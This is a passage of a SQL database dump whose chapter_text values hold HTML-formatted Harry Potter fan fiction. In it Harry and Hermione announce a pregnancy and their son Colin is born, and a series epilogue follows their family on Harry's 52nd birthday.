down.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Really? That long\nalready&#8230;. that would mean&#8230;&#8221; his eyes lit up. &#8220;WOW!&#8221; he cried.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">A knock sounded on the\noffice door, and a second later Ron&#8217;s head peeped around. &#8220;Everything okay?&#8221; he\nasked. &#8220;Hi Hermione.&#8221; He said, coming into the room.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Ron, Hermione&#8217;s\npregnant!&#8221; Harry shouted. Instantly a buzz of excited chatter came from the\nouter office, as everyone out there had heard him.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;That&#8217;s fantastic!&#8221; Ron\nsaid, delighted. &#8220;How far along are you?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Two and a half months.&#8221;\nHarry and Hermione said together. Ron&#8217;s eyes widened.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Damn it Harry, that was\nfast.&#8221; He said, amazed.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Right, right.&#8221; Harry\nsaid, reddening. Ron hugged Hermione. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Boy I can&#8217;t wait to see\nLavender&#8217;s face when she finds out.&#8221; He said. &#8220;She&#8217;s going to freak.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I&#8217;ll bet.&#8221; Harry said,\nwrapping his arms around Hermione&#8217;s waist. Ron waved goodbye and left them\nalone. &#8220;So what are you going to do for the rest of the day?&#8221; he asked, kissing\nher shoulder.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Probably just go home\nand rest&#8230;&#8221; Hermione said. &#8220;This is the first day all week I haven&#8217;t gotten\nsick, so I&#8217;d like to enjoy it.&#8221; Harry laughed softly.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I&#8217;ll get home as soon as\nI can.&#8221; He said. &#8220;We should owl Caty tonight and tell her.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;All right.&#8221; Hermione\ngrinned and kissed him again. &#8220;I&#8217;ll see you soon.&#8221; She walked out of the office\nto the explosion of chatter and well wishes. Harry sat back down behind his\ndesk with the pretense of working again, but he found out that he could not sit\nstill. He jumped up and started doing a dance around his office.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I&#8217;m going to be a\nfather!&#8221; He said softly, as if still trying to convince himself. &#8220;Again.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Meanwhile, Hermione had just\ngotten back to their flat. She grinned to herself as she replayed Harry&#8217;s\nreaction in her mind. Walking through the flat, she determined that there would\nnot be enough room for them all to continue living there once this baby was\nborn. She and Harry would have to discuss that later, as well as start getting\nclothing and such.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Hermione went back into\nthe living room and lay on the couch, resting her hands on her stomach and\nclosing her eyes. It didn&#8217;t take long for her to fall asleep.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry entered the flat a\nfew hours later, still rejoicing over his wife&#8217;s news. &#8220;Hermione?&#8221; he called,\nonly to be answered by the retching sound from the bathroom. Frowning, he\nhurried in to see her trying to stand up. &#8220;Here,&#8221; he said, helping her get up.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Thanks.&#8221; She said\nweakly, pouring herself a glass of water and sipping it slowly as to not upset\nher stomach again. &#8220;I just woke up from a nap and I was sick again&#8230;I&#8217;ve felt\ngreat all afternoon.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Awww.&#8221; Harry said,\nwatching her rinse her mouth out and then pulling her close. She rested her\nhead on his chest and he kissed the top of her head. &#8220;Have I told you how\ncompletely and hopelessly in love with you I am?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Not today you haven&#8217;t.&#8221;\nHermione looked up at him with a slight smile on her face. &#8220;Will you still love\nme in seven months when my stomach is sticking three feet in front of me and\nyou can&#8217;t hug me like this?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Of course I&#8217;ll still\nlove you when you&#8217;re fat.&#8221; Harry teased, ducking the blow she sent his way.\n&#8220;I&#8217;m just kidding!!!&#8221; </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;You&#8217;d better be.&#8221;\nHermione said as they went into the living room. &#8220;So what time again do you\nhave to be at the World Cup this weekend?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;You just had to bring\nthat up huh.&#8221; Harry said. &#8220;I have half a mind to disappear for the weekend&#8230;.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;No you don&#8217;t.&#8221; Hermione\nchided. &#8220;Oliver&#8217;s done a lot for us, you can do this for him for a few hours.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry twisted his mouth.\n&#8220;I suppose.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Hermione pulled him down\non the sofa next to her. &#8220;Besides, I&#8217;ll be there to see you, and I can tell\neveryone that it&#8217;s my husband up there.&#8221; She said, kissing him.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">So that was how Harry\nfound himself up in the air, strutting around on a broom in front of millions\nof wizards and witches, showing off various Quidditch uniforms. Oliver had been\nright about his fame drawing in lots of attention, he was amused in the least\nto see plenty of teenage girls and older women waving their banners at him, and\nto his horror, a few men. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Okay, no.&#8221; Harry mumbled\nto himself as one of them threw an enchanted rose at him. He swooped down to avoid\nit and flew over to the box where he knew Hermione was sitting with Ron and\nLavender.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;You&#8217;re enjoying this\naren&#8217;t you?&#8221; Harry asked Ron, who was chortling heartily.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Oh, more than you know.&#8221;\nHe replied. Lavender poked him. Harry looked at Hermione.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Want to ride with me?&#8221;\nhe asked her, leaning into the box.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;NO!&#8221; she replied. &#8220;What\nif I fall?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry gaped at her.\n&#8220;Hermione, do you really think I&#8217;d let you fall? Especially with you carrying\nour baby?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Well no&#8230;but&#8230;&#8221; she\nstarted to say but Harry grabbed her.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;But nothing&#8230;.&#8221; He took\noff and she squealed and held tightly on to him.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Oliver&#8217;s voice boomed\nover the stadium again. &#8220;Here we have Harry Potter again, and who does he have\nwith him but his lovely wife Hermione!&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Everyone cheered loudly\nfor them as Harry grinned and did a few flips, much to Hermione&#8217;s chagrin.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Harry I&#8217;m going to kill\nyou!&#8221; She shouted as he flew across the stadium back towards the box. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;You said you wanted me\nto do this.&#8221; Harry said into her ear as he slowed down so Ron could help her\nback into the box. She only glared at him as he once again flew up into the\nstadium.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">She wouldn&#8217;t speak to him\nlater when they finally arrived back at the flat. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Aw Hermione&#8230;&#8221; Harry put\non his best pout face. &#8220;You can&#8217;t still be mad at me about flying!&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Yes I am.&#8221; Hermione\nsaid. She turned her back on him and stalked into the living room. Harry stared\nafter her for a moment and then followed her.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Hermione, do you\nhonestly think I&#8217;d let anything happen to you or the baby?&#8221; he asked. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;No.&#8221; she said, and\nturned to face him. &#8220;But my fear of heights hasn&#8217;t dissipated, and when you\nflipped us today I thought I was going to have a heart attack.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I&#8217;m sorry.&#8221; Harry said,\ncoming forward and pulling her into his arms. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Hermione looked up at him\nand felt her hard exterior crumbling away. &#8220;I like your pouty face better.&#8221; She\nsaid, and he stuck his lower lip back out. Hermione quickly raised her face to\nhis and kissed him, wrapping her arms around his neck to keep him close. His\narms went around her waist so that she was tight against him. She ran her\ntongue lightly along his lower lip so that he&#8217;d open his mouth to hers, which\nof course he did. This went on for several more minutes, growing more frenzied.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry broke the kiss and\nlooked at Hermione. &#8220;Can we&#8230;you know&#8230;.&#8221; He motioned his head towards the\nbedroom.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I do believe so.&#8221;\nHermione smiled and pushed him towards the door.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2" style="text-align:center" align="center">*****</p>\n\n<p class="MsoBodyText2">During the months that\npassed, Hermione of course got larger as the baby grew, and she went through\nall the typical pregnancy notions, including mood swings- which Harry hated, he\ntried to stay out of her way during those, and of course, the ever annoying\nstrange cravings. She woke him up one night, during a violent thunderstorm,\nwanting sushi and peanut butter. Harry had actually had to apparate to a\nwizarding area in Tokyo (she wanted it fresh) and then go find a sushi\nrestaurant that was open. Another time, he&#8217;d had to go find Indian food and\nthen mix it with pickles. The worst one, however, was the time she wanted egg\nsalad and Bertie Botts. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">It had been worth it to\nhim when he&#8217;d come back and saw how happy it had made her, even though he had\nto leave the room most of the time while she ate. However, she was now entering\nher last trimester.</p>\n\n<p class="MsoBodyText2" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoBodyText2" style="text-align:center" align="center">*****</p>\n\n<p class="MsoBodyText2">Hermione sighed as she\nmade her way into the living room. Harry looked up from his piano and smiled. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Good morning.&#8221; He said,\nmoving over so she could sit next to him.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I&#8217;m as big as a house.&#8221;\nShe said, feeling sorry for herself. Harry wrapped an arm around her shoulders.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Hermione, if you were as\nbig as a house, how would you fit in this flat?&#8221; he asked, purposely acting\nlike an idiot to make her smile. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">She rolled her eyes at\nhim and a tiny smile quirked at the corners of her mouth.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Will you play me something?&#8221;\nshe asked, leaning against him with her hands on her very swollen belly.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Certainly.&#8221; Harry\nreplied, rippling his fingers over the keys. &#8220;What do you want to hear?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Something nice and\nlight.&#8221; Hermione said, closing her eyes. Harry began to play a tune, starting\nout softly and making the notes stronger as he went on.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Swan Lake&#8230;&#8221; she\nmurmured, enjoying the flowing music. She touched his arm lightly as to feel\nthe vibrations from the piano. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry looked at his wife\nas he played for her, despite her size from the pregnancy; she had never looked\nmore gorgeous to him. She had a natural glow about her from the excitement and\nhe adored looking at her, especially at times like now when she didn&#8217;t realize\nit. He finished the song softly, letting the notes linger in the air.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;That was beautiful\nHarry.&#8221; Hermione said, opening her eyes. &#8220;I would never have realized you could\nplay piano so well.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Well it helped me\nexpress a lot of mixed up feelings I had back when you first&#8230;left.&#8221; Harry said.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Oh.&#8221; Hermione said. She\nwas about to get up from the bench but a sharp pain across her abdomen made her\nsit back down. &#8220;Oooooh!&#8221; she cried out.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;What?&#8221; Harry was\ninstantly on his feet.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I think&#8230;.&#8221; Hermione was\nnow bent over, clutching her stomach. &#8220;Harry I think its time.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;But you&#8217;re not due for\ntwo weeks!&#8221; Harry said frantically.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Harry, it doesn&#8217;t matter\nwhen the baby&#8217;s due if it&#8217;s coming now&#8230;&#8221; Hermione trailed off as another pain\nmade her double over.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Okay okay&#8230;&#8221; Harry\nmumbled as he flew into the hallway and grabbed Hermione&#8217;s bag. &#8220;Okay, let&#8217;s\ngo&#8230;&#8221; he said as she grabbed onto his arm and he apparated them over to St.\nMungos.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2" style="text-align:center" align="center">*****</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">It was late that evening,\nwith the aid of Grace and another medi wizard, that Harry and Hermione&#8217;s baby\nson was born.&nbsp; Hermione was exhausted,\nnaturally, but was alert enough to want to hold her son. Harry was flexing his\nhand, which was cramped due to Hermione squeezing the hell out of it during the\nworst of the delivery.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Here he is! Congratulations!&#8221;\nGrace said proudly, bringing over the newly cleaned baby. Harry took him in his\narms and went over to Hermione. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Hello Mum.&#8221; He said,\nhappy tears sparkling in his eyes.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Dad.&#8221; Hermione returned,\nreaching out for him and the baby. &#8220;You know, we never picked out a name.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I know, we discussed\nlots of them&#8230;&#8221; Harry said. &#8220;I&#8217;d like to stick with the C names.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Me too.&#8221; Hermione said,\nlooking adoringly at her new son. &#8220;But we should give him James for a middle\nname.&#8221; She looked up at Harry.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Okay.&#8221; He agreed. &#8220;What\nabout Chandler?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Hermione made a face.\n&#8220;No.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry laughed. &#8220;Okay&#8230;&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Christopher?&#8221; Hermione\nasked.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Everyone names their son\nChristopher.&#8221; Harry said. &#8220;How about&#8230;Colin?&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Oh I like that!&#8221;\nHermione said. &#8220;Colin James Potter.&#8221; She leaned over and kissed the baby&#8217;s pink\nface. Colin gurgled and then opened his eyes, which were like Hermione&#8217;s, a\ndeep brown.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;He&#8217;s got your eyes.&#8221;\nHarry said in delight. &#8220;I hope he doesn&#8217;t have my hair though.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;We really placed an\nawful curse on our kids, hair wise.&#8221; Hermione said, grinning.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry laughed and reached\nout one finger and caressed his son&#8217;s cheek. &#8220;Colin James Potter.&#8221; He repeated.\nHermione smiled up at him and he leaned down and kissed her. &#8220;I love you.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;I know.&#8221; Hermione said.\n&#8220;I love you too.&#8221;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">**** Two months later****</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry let himself into\nthe door of their flat, running a hand through his sopping wet hair. It was\nunseasonably cold for mid summer, he wore a coat, which he now took off and\nhung on a hook. &#8220;Anyone home?&#8221; he called out, only to be greeted with silence.\nHe was just arriving home from a two week business trip in which he had managed\nto arrange the capture of two more dark wizards.&nbsp; </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">He walked down the\nhallway and into the living room, where he was greeted by a sight that warmed\nhim from head to toe. All the lights were out; the room was lit by the soft\nfirelight. Hermione lay on the couch, fast asleep, with Colin on top of her,\nhis little fingers curled around the fabric of her shirt. Caitlyn, fresh from\nher first year at Hogwarts, was sitting on the floor, her head on the couch\ncushion, her hand resting inside Hermione&#8217;s. Harry could only stop and stare at\nhis family for a long moment, before going over and sitting down next to\nCaitlyn, drawing her into his lap. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&#8220;Dad&#8230;&#8221; she murmured\nsleepily but didn&#8217;t wake up. Hermione stirred and opened her eyes, drinking in\nthe sight of her husband.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Harry looked up at\nHermione, his lips curving up in a smile. He didn&#8217;t have to utter a word. Their\neyes said it all.</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">(A/N: Wow, that&#8217;s it for\nReturn to Me!!! *sniff* I can&#8217;t believe it&#8217;s over, but what a happy ending.\nStay tuned in the coming weeks for a sequel, which like I said, focuses more on\nCaty/Blue, but has some very nice H/H moments of course. </p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Thanks again to all who\nread and reviewed. I can&#8217;t tell you how much I appreciate it!!</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">While you&#8217;re waiting for\nthe sequel and my other fics, make sure you check out these fine authors:</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Ryoko Blue</p>\n\n<p class="MsoBodyText2">God of Fire</p>\n\n<p class="MsoBodyText2">ECR Potter</p>\n\n<p class="MsoBodyText2">Nappa</p>\n\n<p class="MsoBodyText2">HarryNZ</p>\n\n<p class="MsoBodyText2">&nbsp;</p>\n\n<p class="MsoBodyText2">Happy reading!! )</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(77, 16, ' <p><b>A/N: Well this is really and truly it. This is the end to the Return to Me/It Was Bound to Happen/Within the Shadows of Hatred series. Thanks to ALL of you who reviewed these stories and stuck with me through the times it took me forever and a day to update.</b></p>\n\n<p><b></b></p>\n\n<p><b>Please be sure at this point that you have read ALL the series before this last chapter. This is a SERIES EPILOGUE so there are characters and situations that have brought them here and are mentioned that you will only know about if you&#8217;ve read my three stories before this.</b></p>\n\n<p><b></b></p>\n\n<p><b>With this epilogue, my main intention was to show you guys what Harry and his family are up to about seven years after Shadows is over. </b></p>\n\n<p><b></b></p>\n\n<p><b>I wanted to tell everyone what the characters had been up to, I left some detail out, specifically because I wanted you readers to fill in the blanks yourselves about how the characters got to this point.</b></p>\n\n<p><b></b></p>\n\n<p><b>This chapter takes place on Harry&#8217;s 52<sup>nd</sup> birthday. The reason I decided to post it with Return to Me is that I wanted to bring that all full circle and this has more to do with that plotline than Shadows.</b></p>\n\n<p><b></b></p>\n\n<p><b>In any case&#8230; if you have questions please be sure and email me because I won&#8217;t be able to respond to any of them in another chapter.</b></p>\n\n<p><b></b></p>\n\n<p><b>Thanks again for sticking with me through this! You guys really mean a lot to me!</b></p>\n\n<p><b>Heaven</b></p>\n\n<p><b></b></p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Harry cracked his eyes open as sunlight streamed into the window and across his face. &#8220;Wake up sleepyhead,&#8221; a voice made him blink and look up.</p>\n\n<p>&#8220;What,&#8221; Harry mumbled as he rubbed his bleary eyes. He fumbled for his glasses and slipped them onto the bridge of his nose. </p>\n\n<p>&#8220;Happy Birthday,&#8221; Hermione was crouched over his legs, leaning seductively on all fours. &#8220;I have a present for you&#8230;&#8221;</p>\n\n<p>&#8220;You do?&#8221; Harry asked, now fully awake as he slid his hands over Hermione&#8217;s satin covered hips. </p>\n\n<p>&#8220;Yes,&#8221; she purred, leaning in to nip at his ear. &#8220;It&#8217;s been far too long since we&#8217;ve had a chance to&#8230;&#8221; Hermione was interrupted by a knock at the door.</p>\n\n<p>&#8220;Dad are you up yet? Happy Birthday!&#8221; the voices of his two youngest children came through the thick wood.</p>\n\n<p>&#8220;I bloody am now!&#8221; Harry shouted back, groaning as Hermione slipped off him.</p>\n\n<p>Carl rolled his eyes at his twin sister Corinne. &#8220;Ten Galleons says they were about to do something disgusting.&#8221;</p>\n\n<p>&#8220;Carl!&#8221; Corinne grimaced at her brother. &#8220;That&#8217;s really gross!&#8221;</p>\n\n<p>He smirked at her and pushed the door open; both of them were carrying wrapped gifts. &#8220;Happy Birthday!&#8221; his twins both clambered onto the bed with him and Hermione.</p>\n\n<p>&#8220;Hey, thanks you two,&#8221; Harry pulled Corinne on one side and Carl on the other. </p>\n\n<p>&#8220;Open mine first,&#8221; Carl thrust the oddly wrapped package into Harry&#8217;s hands. Harry grinned at his son. Now twelve years old, they were home from the summer from Hogwarts and would soon be going back. </p>\n\n<p>He and Hermione had experienced a bit of empty nest syndrome after the twins left for school, but had thankfully found several ways of occupying their time, including more shagging on Harry&#8217;s piano and rechristening several rooms. </p>\n\n<p>Harry peeled off the paper. &#8220;Hey this is fantastic!&#8221; Carl had given him a solid gold representation of a golden snitch.&nbsp; &#8220;I&#8217;ll put it on the fireplace!&#8221;</p>\n\n<p>Corinne handed him a flat package and Harry eagerly ripped into it. &#8220;Wow,&#8221; he said, flipping through the photo album. </p>\n\n<p>His daughter had filled it with pictures of the two of them over the years, starting from when she was a baby to ones taken just a few weeks ago. &#8220;Mum helped me put it together,&#8221; Corinne laid her head on his shoulder. </p>\n\n<p>&#8220;I love BOTH my birthday presents,&#8221; Harry pulled his kids close with each arm. &#8220;Thanks you two,&#8221; he kissed each of their heads. &#8220;Now run along and let your mum and I get dressed.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; with a hug for Hermione, their kids scampered out of the room.&nbsp; Harry grinned after them for a moment before pulling Hermione back on top of him.</p>\n\n<p>&#8220;She was so excited to give you that album,&#8221; Hermione said softly.</p>\n\n<p>&#8220;It&#8217;s fantastic,&#8221; Harry said before pulling her head down for a kiss. </p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>&#8220;Blue!&#8221; Caitlyn Weasley set down her bag. &#8220;Are you coming or what?&#8221;</p>\n\n<p>&#8220;Helena and I will be along in a few minutes,&#8221; Blue shouted down the stairs. &#8220;You and Lily go on ahead!&#8221;</p>\n\n<p>They were heading to Harry and Hermione&#8217;s house. It was Harry&#8217;s 52<sup>nd</sup> birthday and Hermione was planning a surprise party for him. Blue was taking him to a Quidditch game; to treat him to a guy&#8217;s day out while Caitlyn and their daughters visited (aka set up the party) with Hermione.</p>\n\n<p>Caitlyn sighed as she glared up the stairs. Her oldest daughter tugged at her arm. &#8220;Let&#8217;s go Mummy, I want to see Grandma!&#8221;</p>\n\n<p>&#8220;All right love,&#8221; Caitlyn replied, smoothing back Lily&#8217;s bushy brown hair. &#8220;Are you ready to Floo?&#8221;</p>\n\n<p>Lily nodded, clutching onto her bag containing her journal and books to read. She had also written a short story that she wanted to show her grandmother. </p>\n\n<p>&#8220;Well off we go then,&#8221; Caitlyn headed for the fireplace and gave Lily some powder. &#8220;You know how to do it love.&#8221;</p>\n\n<p>Once Lily had disappeared, Caitlyn took a pinch of powder and did the same. She disliked travelling by Floo, mainly because it made her dizzy and dirtied up her clothes. Yet since Lily and Helena were both too young to Apparate, they were stuck with Flooing for the time being.</p>\n\n<p>She tumbled out of her parents&#8217; fireplace; Lily was sitting primly on the sofa, brushing soot off her shirt. &#8220;Are you all right mum?&#8221; she asked as Caitlyn coughed from the dust.</p>\n\n<p>&#8220;I&#8217;m fine,&#8221; Caitlyn replied. &#8220;Your grandparents need to clean that thing out.&#8221; With a charm she cleaned herself and her daughter off, and then they headed into the kitchen.</p>\n\n<p>&#8220;Morning!&#8221; Lily cried out as she saw her grandmother. Hermione turned around, a smile breaking across her face.</p>\n\n<p>&#8220;Hello love,&#8221; she hugged her granddaughter tightly. &#8220;Hi Caty,&#8221; </p>\n\n<p>&#8220;Hi Mum,&#8221; Caitlyn hugged her mother. &#8220;Where&#8217;s Dad?&#8221;</p>\n\n<p>&#8220;Showering,&#8221; Hermione replied. &#8220;I&#8217;m just making breakfast for him and the kids if you&#8217;d like to join us.&#8221;</p>\n\n<p>&#8220;I&#8217;m not hungry but Lils hasn&#8217;t had breakfast yet,&#8221; Caitlyn put her hand on her daughter&#8217;s shoulder.&nbsp; &#8220;Blue and Helena should be along in just a bit.&#8221;</p>\n\n<p>&#8220;Oh good,&#8221; Hermione said, turning back to the stove.&nbsp; </p>\n\n<p>&#8220;Where are Colin, Carl and Corinne?&#8221; Caitlyn asked as Lily sat down at the table.</p>\n\n<p>&#8220;Carl and Corinne are around here somewhere and Colin is still sleeping.&#8221; Hermione turned to her daughter. &#8220;He was out late last night with Katrina.&#8221;</p>\n\n<p>Caitlyn cocked her eyebrow. &#8220;I&#8217;m going to wake him up,&#8221; she dashed out of the kitchen. She raced up the stairs and pounded on the door to Colin&#8217;s room.</p>\n\n<p>&#8220;Rise and shine, valentine!&#8221; she called out in an overly loud voice. Opening the door to his room, she saw her seventeen year old brother sprawled beneath his sheets, his head under the pillow. &#8220;Come on you lazy bum its Dad&#8217;s birthday!&#8221;</p>\n\n<p>&#8220;Go away Caty,&#8221; Colin grumbled, pulling his head out from under the pillow. Caitlyn laughed at his hair, which stood straight up in every which direction. &#8220;You weren&#8217;t the one out until three this morning!&#8221;</p>\n\n<p>&#8220;Says you,&#8221; Caitlyn hit him with another pillow. &#8220;Blue and I have an active nightlife&#8230; sometimes.&#8221;</p>\n\n<p>&#8220;Whatever,&#8221; Colin grabbed the pillow away from her and sat up. &#8220;I don&#8217;t need to know any more than what you just said.&#8221;</p>\n\n<p>&#8220;Well fine,&#8221; Caitlyn got up, pulling his curtains apart. &#8220;But get your arse downstairs 